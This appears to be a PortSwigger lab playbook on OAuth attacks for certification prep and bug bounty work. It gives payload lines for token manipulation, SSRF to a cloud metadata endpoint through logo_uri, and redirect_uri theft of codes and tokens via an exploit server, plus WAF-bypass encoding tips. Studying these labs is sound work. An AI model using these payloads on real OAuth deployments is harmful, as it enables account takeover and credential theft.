ShulkwiSEC OAuth Authentication — Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Implicit flow bypass 🟡 PRACTITIONER
Intercept token response, change email/sub to victim's → authenticate as victim.
Lab 2: SSRF via OpenID registration 🟡 PRACTITIONER
Register OAuth client with logo_uri pointing to metadata endpoint: http://169.254.169.254/...
Lab 3: Forced profile linking 🟡 PRACTITIONER
Missing state parameter → CSRF attach your OAuth to victim's account.
Lab 4: Account hijack via redirect_uri 🟡 PRACTITIONER
redirect_uri=https://EXPLOIT-SERVER
Steal OAuth code, exchange for victim's access token.
Lab 5: Token theft via open redirect 🟡 PRACTITIONER
redirect_uri=https://TARGET/oauth-callback/../post/next?path=https://EXPLOIT-SERVER/
Chain open redirect to steal implicit flow tokens via Referer.
Lab 6: Token theft via proxy page 🔴 EXPERT
Find page that sends Referer with token to attacker-controllable iframe source.
Blue Team Detection
- Monitor access logs for anomalous payloads.
- Implement strict input validation and parameterized queries where applicable.
- Create WAF rules masking generic attack patterns.
Zero-Day Research
When standard technique fails:
- Identify the filter/WAF
- Fuzz with Burp Intruder custom wordlists
- Search GitHub/Twitter for new bypasses
- Chain with other vulns for escalation
- Try encoding variants: URL, double-URL, unicode, hex
Key Concepts
| Concept | Description |
|---|---|
| PortSwigger Vectors | Standardized approaches to vulnerability classes. |
| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |
Output Format
Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]
🔵 Blue Team
- Deploy robust WAF rules to detect anomalies.
- Monitor logs for unusual access patterns.
🛡️ Remediation & Mitigation Strategy
- Input Validation: Sanitize and strictly type-check all inputs.
- Least Privilege: Constrain component execution bounds.
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class